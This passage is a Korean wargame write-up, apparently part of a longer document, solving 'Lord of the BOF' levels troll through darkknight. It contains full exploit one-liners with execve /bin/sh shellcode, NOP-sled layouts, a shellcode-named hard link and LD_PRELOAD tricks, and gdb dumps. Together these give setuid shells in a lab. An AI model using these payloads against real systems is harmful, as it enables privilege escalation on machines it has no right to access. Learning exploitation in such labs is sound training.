bash$ 0x09 troll [troll@localhost troll]$ cat vampire.c #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // here is changed! if(argv[1][46] == '\xff') printf("but it's not forever\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 에그헌터등길이제한이사라졌지만끝의주소가 argv[1][46] 이 0xff가되면안됩니다. [troll@localhost troll]$ bash2 [troll@localhost troll]$ cp vampire vimpire [troll@localhost troll]$ ls -l v*mpire -rwsr-sr-x 1 vampire vampire 12103 Mar 2 2010 vampire -rwsr-sr-x 1 troll troll 12103 Apr 1 03:39 vimpire vimpire는 troll이소유하고있는파일이기때문에세그폴이나면자동으로코어덤프가생깁니다. [troll@localhost troll]$./vimpire $(python -c 'print "\x90"*44+"\x56\x34\x12\xbf"+"\x90"*100000+"\x31\xc0 \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x20"') ====== 중 = 간 = 생 = 략 ====== - 19 -
1?h//shh/bin?S? 것 Segmentation fault (core dumped) [troll@localhost troll]$ gdb -q vimpire core Core was generated by ` '. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. (gdb) x/140wx $esp esp를기준으로보기시작하겠습니다. 0xbffe7430: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7440: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7450: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7460: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7470: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7480: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7490: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe74a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe74b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe74c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe74d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe74e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe74f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7500: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7510: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7520: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7530: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7540: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7550: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7560: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7570: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7580: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7590: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe75a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe75b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe75c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe75d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe75e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe75f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7600: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7610: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7620: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7630: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7640: 0x90909090 0x90909090 0x90909090 0x90909090-20 -
0xbffe7650: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) (Enter 누름 ) 아까넣어줬던대량의 nop들이보입니다. 0xbffe7660: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7670: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7680: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7690: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe76a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe76b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe76c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe76d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe76e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe76f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7700: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7710: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7720: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7730: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7740: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7750: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7760: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7770: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7780: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7790: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7800: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7810: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7820: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7830: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7840: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7850: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7860: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7870: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7880: 0x90909090 0x90909090 0x90909090 0x90909090 엔터로계속넘기다보면 끝에넣어줬던쉘코드가있습니다. 0xbffffab0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffac0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffad0: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 0xbffffae0: 0x99e18953 0x80cd0bb0 0x90909000 0x90909000 쉘코드는리틀엔디안형태로존재합니다. 0x6850c031 = \x31\xc0\x50\x68 이와같이인자를많이넣어주면 bfff~ 가아닌 bffe대역까지도인자가들어가게됩니다. - 21 -
fe대역아무거나골라잡아서리턴주소로삼겠습니다. -페이로드 [nop 44]+[ret 4]+[nop 100000]+[shellcode 24] 원본에다가바로시도하겠습니다. [troll@localhost troll]$./vampire $(python -c 'print "\x90"*44+"\xe0\x76\xfe\xbf"+"\x90"*100000+"\x31\xc0 \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x20"')?? ====== 중 = 간 == 생 = 략 ====== 1?h//shh/bin?S? 것 bash$ whoami vampire bash$ id uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll) bash$ my-pass euid = 509 music world bash$ exit exit 0x0a vampire [vampire@localhost vampire]$ bash2 [vampire@localhost vampire]$ cat skeleton.c #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i, saved_argc; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') - 22 -
printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); ultra argv hunter가나왔네요. 0이된 argv[0] 을보기위해사본파일을만들고실행시켜봅니다. [vampire@localhost vampire]$ vi ukeleton.c [vampire@localhost vampire]$ gcc -o ukeleton ukeleton.c [vampire@localhost vampire]$./ukeleton $(python -c 'print "\x90"*44+"\xff\xff\xff\xbf"') 0xbffffc23 Segmentation fault (core dumped) 이번에도 core 덤프를이용해봅시다 [vampire@localhost vampire]$ gdb -q ukeleton core Core was generated by ` '. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0xbfffffff in?? () (gdb) x/120bx 0xbffffc23 0xbffffc23: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc2b: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc33: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc3b: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc43: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc4b: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc53: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00-23 -
0xbffffc5b: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc63: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc6b: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc73: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc7b: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc83: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc8b: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc93: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 (gdb) 계속해서엔터를쳐도널이나옵니다만.. 0xbffffc9b: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00... (gdb) 0xbfffffe3: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbfffffeb: 0x00 0x00 0x00 0x00 0x00 0x00 0x2e 0x2f 0xbffffff3: 0x75 0x6b 0x65 0x6c 0x65 0x74 0x6f 0x6e 0xbffffffb: 0x00 0x00 0x00 0x00 0x00 Cannot access memory at address 0xc0000000 스택끝자락에가보니뭔가보입니다 (?) (gdb) x/10s 0xbfffffeb 0xbfffffeb: "" 0xbfffffec: "" 0xbfffffed: "" 0xbfffffee: "" 0xbfffffef: "" 0xbffffff0: "" 0xbffffff1: "./ukeleton" 0xbffffffc: "" 0xbffffffd: "" 0xbffffffe: " 출력해보니왜그런진몰라도 argv[0] 의쌍둥이 (?) 가존재합니다. main() [vampire@localhost vampire]$ gcc -o main main.c [vampire@localhost vampire]$ gdb -q main (gdb) b main Breakpoint 1 at 0x804839b (gdb) r Starting program: /home/vampire/main Breakpoint 1, 0x804839b in main () (gdb) x/10s 0xbfffffeb 0xbfffffeb: "ome/vampire/main" 0xbffffffc: "" 0xbffffffd: "" 0xbffffffe: "" 0xbfffffff: "" 0xc0000000: <Address 0xc0000000 out of bounds> 혹시몰라서다른프로그램도해보니마찬가지네요 ( 앞쪽에 /h가잘려나간듯 ) - 24 -
[vampire@localhost vampire]$ mv main $(python -c 'print "A"*200+"shellcode\x90\x90\x90"*2') 이름바꾸고 gdb로확인해보면 Breakpoint 1, 0x804839b in main () (gdb) x/120bx 0xbfffffc0 0xbfffffc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffffc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffffd0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffffd8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffffe0: 0x41 0x41 0x41 0x73 0x68 0x65 0x6c 0x6c 0xbfffffe8: 0x63 0x6f 0x64 0x65 0x90 0x90 0x90 0x73 0xbffffff0: 0x68 0x65 0x6c 0x6c 0x63 0x6f 0x64 0x65 0xbffffff8: 0x90 0x90 0x90 0x00 0x00 0x00 0x00 0x00 0xc0000000: Cannot access memory at address 0xc0000000 (gdb) x/2s 0xbfffffc0 0xbfffffc0: 'A' <repeats 35 times>, "shellcode\220\220\220shellcode\220\220\220" 0xbffffffc: "" 쉘코드로가정한코드가잘있습니다. [vampire@localhost vampire]$ mkdir -p $(python -c 'print "A"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68 \x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') 링크걸기전에마지막 \x2f전까지만디렉터리만들어주고 [vampire@localhost vampire]$ ln /home/vampire/skeleton $(python -c 'print "A"*200+"\x31\xc0\x50\x68\x 2f\x2f\x73\x68\x68"') 이번엔하드링크를걸어보았습니다. -페이로드 [./]+[A 200]+[shellcode 24]+[ ( 공백 )]+[nop 44]+[ret 4] 여기서 A도 nop와같은역할을합니다. [vampire@localhost vampire]$./$(python -c 'print "A"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x20"+"\x90"*44+"\xc0\xff\xff\xbf"')? bash$ whoami skeleton bash$ id uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire) bash$ my-pass euid = 510 shellcoder bash$ exit exit 0x0b skeleton [skeleton@localhost skeleton]$ bash2 [skeleton@localhost skeleton]$ cat golem.c #include <stdio.h> #include <stdlib.h> extern char **environ; - 25 -
main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); 프롤로그때소개드렸던악명높은 (?) stack destroyer입니다. 잘보시면버퍼시작주소부터 sfp까지 \x00으로덮어주고 buffer[48] 부터 0xbffffff까지를싹덮어줍니다. ret 영역만빼면쓸공간이없습니다. 이쯤에서원정대메인을보죠. [RULE] - do not use local root exploit - do not use LD_PRELOAD to my-pass - do not use single boot [h4ck3rsch001] LD_PRELOAD가눈에들어옵니다. LD_PRELOAD란프로그램이공유라이브러리에서함수를가져오기전에원하는라이브러리의경로를먼저등록시켜두는환경변수로, hosts 파일과비슷한개념입니다. 이것에값을넣으면스택에잔재가남아있게됩니다. 어차피경로를넣어줘야되니경로를쉘코드로만들어줍시다. [skeleton@localhost skeleton]$ mkdir -p $(python -c 'print "\x90"*150+"\x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68"') [skeleton@localhost skeleton]$ cat > lib.c lib_main() 라이브러리를만들기위해 gcc 컴파일러의 shared와 fpic 옵션을추가해줍니다. (http://wiki.kldp.org/howto/html/program-library-howto/ 참고 ) [skeleton@localhost skeleton]$ gcc lib.c -fpic -shared -o $(python -c 'print "\x90"*150+"\x31\xc0\x50\x68 \x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') 이제환경변수등록후사본을만들어 core 덤프를보는일만남았습니다. [skeleton@localhost skeleton]$ export LD_PRELOAD="/home/skeleton/$(python -c 'print "\x90"*150+"\x31\x - 26 -
c0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') [skeleton@localhost skeleton]$ cp golem golee [skeleton@localhost skeleton]$ ldd./golee /home/skeleton/ 1?h//shh/bin?S? 것 => /home/skeleton/ 1?h//shh/bin?S? 것 (0x40015000) libc.so.6 => /lib/libc.so.6 (0x4001a000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [skeleton@localhost skeleton]$./golee $(python -c 'print "\xbf"*48') 옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜 Segmentation fault (core dumped) [skeleton@localhost skeleton]$ gdb -q golee core Core was generated by ` '. Program terminated with signal 11, Segmentation fault. Reading symbols from /home/skeleton/ 1?h//shh/bin?S? 것...done. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0xbfbfbfbf in?? () (gdb) x/120xw $esp-1500 0xbffff444: 0x40000814 0x40013c00 0x400002f4 0x40013c00 0xbffff454: 0x00000000 0x00000000 0x00000004 0x40014ac8 0xbffff464: 0x00000004 0xbffff488 0x40000674 0x400140d8 0xbffff474: 0x01ee5739 0xbffff520 0x40000edc 0x40013868 0xbffff484: 0x40013c00 0x00000000 0xbffff550 0x4000966a 0xbffff494: 0x207380f4 0xffffffff 0xffffffd0 0x00000000 0xbffff4a4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff4b4: 0x00000000 0x00000000 0x00000000 0xbffff9f0 0xbffff4c4: 0x00000018 0x400017f4 0x00000004 0x4001a0e8 0xbffff4d4: 0x00000000 0x00000000 0x00000001 0xbffff9e8 0xbffff4e4: 0xbffff9c3 0x0804859b 0x08048599 0x00000031 0xbffff4f4: 0xffffffff 0x40001402 0x400002f4 0x080482d0 0xbffff504: 0x080482d0 0xbffff550 0x00000002 0x40023fd0 0xbffff514: 0x40013c00 0x4000ba15 0x40013868 0x40000814 0xbffff524: 0x400041b0 0x00000001 0xbffff538 0x40001528 0xbffff534: 0x000002c8 0x00000000 0x080482d0 0x00000000 0xbffff544: 0x0804859c 0x40000824 0xbffff558 0x400075bb - 27 -
0xbffff554: 0x40017000 0x00000000 0x00000000 0xbffff754 0xbffff564: 0x4000380e 0x40014490 0x6d6f682f 0x6b732f65 0xbffff574: 0x74656c65 0x902f6e6f 0x90909090 0x90909090 0xbffff584: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff594: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5f4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff604: 0x90909090 0x90909090 0x90909090 0x50c03190 0xbffff614: 0x732f2f68 0x622f6868 0xe3896e69 0xe1895350 (gdb) buffer 배열보다낮은곳에 nop분들이거주하고계십니다 ;D -페이로드 [garbage 36][ret 4] [skeleton@localhost skeleton]$./golee $(python -c 'print "\xb4\xf5\xff\xbf"*12') 더였? 였? 였? 였? 였? 였? 였? 였? 였? 였? 였? bash$ exit exit 이제원본에시도합시다. [skeleton@localhost skeleton]$./golem $(python -c 'print "\xb4\xf5\xff\xbf"*12') 더였? 였? 였? 였? 였? 였? 였? 였? 였? 였? 였? bash$ whoami golem bash$ id uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton) bash$ my-pass euid = 511 cup of coffee bash$ exit exit 0x0c golem 골렘입니다. 어쩌다보니이미지가날아가서아는분한테새로받았는데앞부분에도주석이있네요. [golem@localhost golem]$ cat darkknight.c /* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include <stdio.h> #include <stdlib.h> - 28 -
void problem_child(char *src) char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); main(int argc, char *argv[]) if(argc<2) printf("argv error\n"); problem_child(argv[1]); problem_child 함수에서 argv[1] 가 buffer배열로 41개까지복사됩니다. 1Byte overflow네요. Frame Pointer Overflow입니다. 예시 ) 41Byte의인자로 \x90을넣은경우 ( [golem@localhost golem]$./darknight $(python -c 'print "\x90"*41') ) sfp에원래들어있던값이 0xbffffa08이라가정한다면여기선메모리가 Little-Endian 방식으로쓰이므로 08 fa ff bf로쓰여있습니다. 따라서 41번째인자가 sfp의첫부분을침범하므로메모리에있던 sfp는 90 fa ff bf로 0xbffffa90이되었습니다. 하지만어떻게 sfp를 1byte를바꾸는것만으로실행흐름을조작할수있을까요? 지금부터본격적으로나갑니다. [golem@localhost golem]$ cp darkknight ddrkknight [golem@localhost golem]$ gdb -q ddrkknight (gdb) disassemble main Dump of assembler code for function main: 0x804846c <main>: push %ebp 0x804846d <main+1>: mov %esp,%ebp 0x804846f <main+3>: cmpl $0x1,0x8(%ebp) 0x8048473 <main+7>: jg 0x8048490 <main+36> 0x8048475 <main+9>: push $0x8048504 0x804847a <main+14>: call 0x8048354 <printf> 0x804847f <main+19>: add $0x4,%esp 0x8048482 <main+22>: push $0x0 0x8048484 <main+24>: call 0x8048364 <exit> 0x8048489 <main+29>: add $0x4,%esp 0x804848c <main+32>: lea 0x0(%esi,1),%esi 0x8048490 <main+36>: mov 0xc(%ebp),%eax 0x8048493 <main+39>: add $0x4,%eax 0x8048496 <main+42>: mov (%eax),%edx 0x8048498 <main+44>: push %edx 0x8048499 <main+45>: call 0x8048440 <problem_child> 0x804849e <main+50>: add $0x4,%esp 0x80484a1 <main+53>: leave - 29 -
0x80484a2 <main+54>: ret 0x80484a3 <main+55>: nop 0x80484a4 <main+56>: nop 0x80484a5 <main+57>: nop 0x80484a6 <main+58>: nop 0x80484a7 <main+59>: nop 0x80484a8 <main+60>: nop 0x80484a9 <main+61>: nop 0x80484aa <main+62>: nop 0x80484ab <main+63>: nop 0x80484ac <main+64>: nop 0x80484ad <main+65>: nop 0x80484ae <main+66>: nop 0x80484af <main+67>: nop End of assembler dump. (gdb) disassemble problem_child Dump of assembler code for function problem_child: 0x8048440 <problem_child>: push %ebp 0x8048441 <problem_child+1>:mov %esp,%ebp 0x8048443 <problem_child+3>: sub $0x28,%esp 0x8048446 <problem_child+6>: push $0x29 0x8048448 <problem_child+8>: mov 0x8(%ebp),%eax 0x804844b <problem_child+11>: push %eax 0x804844c <problem_child+12>: lea 0xffffffd8(%ebp),%eax 0x804844f <problem_child+15>: push %eax 0x8048450 <problem_child+16>: call 0x8048374 <strncpy> 0x8048455 <problem_child+21>: add $0xc,%esp 0x8048458 <problem_child+24>: lea 0xffffffd8(%ebp),%eax 0x804845b <problem_child+27>: push %eax 0x804845c <problem_child+28>: push $0x8048500 0x8048461 <problem_child+33>: call 0x8048354 <printf> 0x8048466 <problem_child+38>: add $0x8,%esp 0x8048469 <problem_child+41>: leave 0x804846a <problem_child+42>: ret 0x804846b <problem_child+43>: nop End of assembler dump. 여기서 bold한부분이중점적으로볼부분들입니다. (gdb) break *main Breakpoint 1 at 0x804846c (0x804846c <main>: push %ebp) (gdb) break *main+1 Breakpoint 2 at 0x804846d (0x804846d <main+1>: mov %esp,%ebp) (gdb) break main - 30 -
Breakpoint 3 at 0x804846f (0x804846f <main+3>: cmpl $0x1,0x8(%ebp) ) main 은 *main 과달리 stack 이형성된바로그다음시점을의미합니다. 함수프롤로그라고불리기도하죠. (gdb) break *main+45 Breakpoint 4 at 0x8048499(problem_child 호출직전 ) (0x8048499 <main+45>: call 0x8048440 <problem_child>) (gdb) break *problem_child Breakpoint 5 at 0x8048440 (0x8048440 <problem_child>: push %ebp) (gdb) break *problem_child+1 Breakpoint 6 at 0x8048441 (0x8048441 <problem_child+1>: mov %esp,%ebp) (gdb) break *problem_child+3 Breakpoint 7 at 0x8048443 (0x8048443 <problem_child+3>: sub $0x28,%esp) (gdb) break problem_child Breakpoint 8 at 0x8048446 (0x8048446 <problem_child+6>: push $0x29) 위와마찬가지 (gdb) b *problem_child+41 Breakpoint 9 at 0x8048469 (0x8048469 <problem_child+41>: leave) (gdb) break *problem_child+42 Breakpoint 10 at 0x804846a (0x804846a <problem_child+42>: ret) (gdb) break *main+53 Breakpoint 11 at 0x80484a1 (0x80484a1 <main+53>: leave) (gdb) break *main+54 Breakpoint 12 at 0x80484a2 (0x80484a2 <main+54>: ret) 총 12 개의 breakpoint 를걸었습니다. - 알아두기 - ESP : 스택의상단을가리키는레지스터 EBP : BasePointer 라고불리며이전함수의 stack frame pointer 값을기억하는레지스터 - 31 -
EIP : 다음에수행할명령을가리키는레지스터 ( 함수를마칠때는리턴어드레스가됨 ) 실제로 EBP ESP EIP가위의역할을하는지살펴보죠. 이번엔 0x50을넣고실행해보겠습니다. (gdb) run $(python -c 'print "\x50"*41') Starting program: /home/golem/ddrkknight $(python -c 'print "\x50"*41') Breakpoint 1, 0x804846c in main () (gdb) info registers ebp esp eip ebp 0xbffffaf8-1073743112 esp 0xbffffadc -1073743140 eip 0x804846c 134513772 ebp push 전 (gdb) nexti Breakpoint 2, 0x804846d in main () (gdb) info registers ebp esp eip ebp 0xbffffaf8-1073743112 esp 0xbffffad8-1073743144 eip 0x804846d 134513773 ebp push 후 (gdb) nexti 0x804846f in main () (gdb) info registers ebp esp eip ebp 0xbffffad8-1073743144 esp 0xbffffad8-1073743144 eip 0x804846f 134513775 mov %esp,%ebp 수행후여기까진 ebp를 push해서이전의 stack frame pointer 값을기억시키고 ebp에 esp의값을옮겨새로운스택을형성했습니다. (gdb) continue Continuing. 계속해서보겠습니다. Breakpoint 4, 0x8048499 in main () (gdb) info registers ebp esp eip ebp 0xbffffad8-1073743144 esp 0xbffffad4-1073743148 eip 0x8048499 134513817 problem_child call 직전 (gdb) continue Continuing. Breakpoint 5, 0x8048440 in problem_child () (gdb) info registers ebp esp eip ebp 0xbffffad8-1073743144 - 32 -
esp 0xbffffad0-1073743152 eip 0x8048440 134513728 problem_child call 후 call문의수행으로 esp의값이바뀌었습니다. ( 다음위치에있는명령이 stack에 push 되기때문 ) (gdb) nexti Breakpoint 6, 0x8048441 in problem_child () (gdb) info registers ebp esp eip ebp 0xbffffad8-1073743144 esp 0xbffffacc -1073743156 eip 0x8048441 134513729 problem_child 진입후 esp가다른곳으로바뀌었습니다. 새로운스택을형성하기위한단계입니다. 여기서이전함수의 stack frame pointer 값을기억하기위해 ebp는 push 되어 esp는 0x4만큼 sub되었습니다. (gdb) nexti Breakpoint 7, 0x8048443 in problem_child () (gdb) info registers ebp esp eip ebp 0xbffffacc -1073743156 esp 0xbffffacc -1073743156 eip 0x8048443 134513731 mov %esp,%ebp 수행후 ebp가 esp와같아졌습니다. (gdb) nexti 0x8048446 in problem_child () (gdb) info registers ebp esp eip ebp 0xbffffacc -1073743156 esp 0xbffffaa4-1073743196 eip 0x8048446 134513734 sub $0x28,%esp 수행후 esp가 0x28만큼줄어들었습니다. 여기까지가 problem_child의함수프롤로그입니다. (gdb) continue Continuing. PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP?? 9? 원? 옹 @ Breakpoint 9, 0x8048469 in problem_child () (gdb) info registers ebp esp eip ebp 0xbffffacc -1073743156 esp 0xbffffaa4-1073743196 eip 0x8048469 134513769 leave 수행직전 (gdb) nexti 0x804846a in problem_child () (gdb) info registers ebp esp eip - 33 -
ebp 0xbffffa50-1073743280 esp 0xbffffad0-1073743152 eip 0x804846a 134513770 leave 수행후, ret 수행직전다시스택을반환하는과정입니다. 아까와는반대로 leave에선 mov %ebp, %esp와 pop %ebp가일어납니다. 그런데보시는바와같이아까넣었던 50으로인해 pop ebp할때 ebp 값이변했습니다. 또한이것으로 esp는 4byte증가하게됩니다. (gdb) nexti 0x804849e in main () (gdb) info registers ebp esp eip ebp 0xbffffa50-1073743280 esp 0xbffffad4-1073743148 eip 0x804849e 134513822 ret 수행후 ret명령은증가한 esp는 eip에참조한후 eip를리턴어드레스로인식해서다음실행할주소로넘어갑니다. (gdb) continue Continuing. Breakpoint 11, 0x80484a1 in main () (gdb) info registers ebp esp eip ebp 0xbffffa50-1073743280 esp 0xbffffad8-1073743144 eip 0x80484a1 134513825 add $0x4,%esp 수행후, leave 수행직전다시 main함수로진입하여 esp에 4를더합니다. (gdb) nexti 0x80484a2 in main () (gdb) info registers ebp esp eip ebp 0x400143e0 1073824736 esp 0xbffffa54-1073743276 eip 0x80484a2 134513826 (gdb) nexti leave 수행후, ret 수행직전이번엔 main에서일어난 leave입니다. 마찬가지로 ebp를 esp에옮긴후 pop ebp를합니다. (ebp엔맨처음에 0x804846c에서 push했던 ebp가복원됩니다.) 덕분에 ebp의값을이어받은 esp는 4만큼증가하여 0xbffffa54가됩니다. Program received signal SIGSEGV, Segmentation fault. 0x40021df3 in?? () from /lib/libc.so.6 (gdb) info registers ebp esp eip ebp 0x400143e0 1073824736 esp 0x401088c0 1074825408 eip 0x40021df3 1073880563-34 -
